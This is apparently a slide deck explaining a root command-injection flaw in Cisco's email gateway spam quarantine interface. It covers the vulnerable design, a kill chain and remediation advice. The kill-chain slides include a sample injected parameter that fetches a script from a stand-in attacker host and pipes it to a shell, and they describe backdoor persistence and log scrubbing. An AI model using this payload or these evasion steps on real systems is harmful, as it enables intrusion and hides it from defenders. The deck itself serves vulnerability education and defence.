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#! Anatomy of a Bug



The Patient
• Name: Cisco Secure 

Email Gateway
• CVE: CVE-2025-20393
• Diagnosis: 

Unauthenticated Root 
RCE

• Vector: Spam 
Quarantine Web 
Interface

• Severity:  10.0



What does 
10.0 mean?
• Auth: None
• User Interaction: 

None
• Attack Vector: 

Remote (HTTP)
• Result: Root-level 

command 
execution



The Illusion of Security
#1 The Context



Cisco ESA/SMA is deployed as a 
trusted enterprise mail appliance.

Assumption: "Since the customer 
can't SSH in, we can run everything as 
Root to make our code simpler."

 The Flaw: Access was mistaken for 
security.
    

Web RCE establishes a virtual 
shell.
    

That shell inherits root privileges 
instantly.

The Illusion of Security

#1.1 The Context



The Swiss Cheese Failure

#1.2 The Context

Network Team: "The App is secure, 
so we can open the port."

App Team: "The OS is locked down, 
so we can run as Root."

OS Team: "The Network is 
protected, so privilege drops are 
optional."

Security by Obscurity: Reliance on 
the "Black Box" myth.

Result: The attacker walked 
through aligned holes in every layer.



AsyncOS & Glass Web Layer

#2 The 
Architecture



AsyncOS: proprietary FreeBSD-
based appliance OS.

Operational model: no shell 
access, no EDR, vendor-only 
hardening.

Web layer: glass/1.0 on python 
2.6.4.

Responsibilities: authentication, 
quarantine logic, system helpers.

Security model: trusted input, safe 
shell helpers, root-level web 
execution.

AsyncOS & Glass Web Layer

#2.1 The Architecture



Trust of User Input

#3 The 
Vulnerability



Exposure: Internet-facing Spam 
Quarantine UI

TCP/6025 (default)
80/443 (if redirected) 

Access Control: Non-existent
No Authentication required to 

reach index.py

No Session Token checks on 
POST requests

The Door is Open: Anyone on the 
internet can talk to the CGI handler.

The Attack Surface

#3.1 The Vulnerability



Improper Input Validation

#3.2 The Vulnerability

The Spam Quarantine interface
accepts HTTP POST requests. 

Parameters control:
Queue identifiers
Message actions
System helper invocation

User input is trusted to be:
Numeric
Pre-validated
Non-executable

None of these assumptions are 
enforced.



The Python handler constructs a 
command string at runtime. 

User-controlled fields are 
concatenated verbatim.

The command is executed via:
os.system()
Process.Popen(shell=True)

Shell metacharacters are not 
filtered.

Result: OS command injection.

Shell Construction from User Data

#3.3 The Vulnerability



Why This Is Catastrophic

#3.4 The Vulnerability

The Glass web server runs as 
root.

There is:
no privilege drop
no chroot
no seccomp

The payload executes with:
UID 0
Full filesystem access
Network reachability

No escalation phase: execution 
starts as root.



Step-by-Step Execution

#4 The Kill-
Chain



Attacker scans for fingerprint:
Port 6025 + Header Glass/1.0

Attacker constructs payload:
Server expects an integer
Attacker sends:

action=release&queue_id=1005
 ;curl+attacker.com/s|sh

 Delivery: Packet sent directly to 
exposed interface.

Step 1: Reconnaissance & Delivery

#4.1 The Kill-Chain



Step 2: Execution (The Breach)

#4.2 The Kill-Chain

Python CGI processes the request.

Server executes:
cmd = "/usr/bin/quarantine_helper --
id " + qid, then os.system(cmd)

Result: /usr/bin/quarantine_helper
--id 1005; curl attacker.com/s | sh

Immediate Outcome: Attacker 
gains Root Shell.



Attacker modifies on-disk script:
/data/web/.../htdocs/index.py

Installs Passive Backdoor:
Script now watches for 

"magic" POST markers (payloads)

Decodes hidden payloads on 
the fly

Stealth Achieved: No new files, no 
outbound beaconing.

Step 3: Persistence (AquaShell)

#4.3 The Kill-Chain



Step 4: Lateral Movement & Evasion

#4.4 The Kill-Chain

Tunneling:
Deploys AquaTunnel or Chisel
Pivots from DMZ into the 

Internal Network

Anti-Forensics (AquaPurge):
Runs grep -v on system logs
Surgically removes attacker IP 

addresses

Result: The Appliance is owned,
the network is exposed, and the logs 
are clean.



Detailed Remediation
#5 The Fix.



Disable external access to Spam 
Quarantine interfaces.

Never expose legacy web UIs
directly to the internet.

Place behind:    
VPN
Zero-Trust proxy
MFA-enforced gateway

Exposure

#5.1 The Fix.



#5.2 The Fix.
Execution



Never rely on other layers

#6 Developer’s 
Takeaway



Never rely on other layers

#6.1 Developer's Takeaway

Security appliances are not 
special. They must follow the same 
rules as hostile-facing servers.

Input validation is not optional.

Security is not inherited. Every 
layer must defend itself.

This was not an exploit failure; it 
was a design failure.



#! Anatomy of a Bug

Status



Technical 
Credits:

#! Anatomy of a Bug


	Folie 1
	Folie 2
	Folie 3
	Folie 4
	Folie 5
	Folie 6
	Folie 7
	Folie 8
	Folie 9
	Folie 10
	Folie 11
	Folie 12
	Folie 13
	Folie 14
	Folie 15
	Folie 16
	Folie 17
	Folie 18
	Folie 19
	Folie 20
	Folie 21
	Folie 22
	Folie 23
	Folie 24
	Folie 25

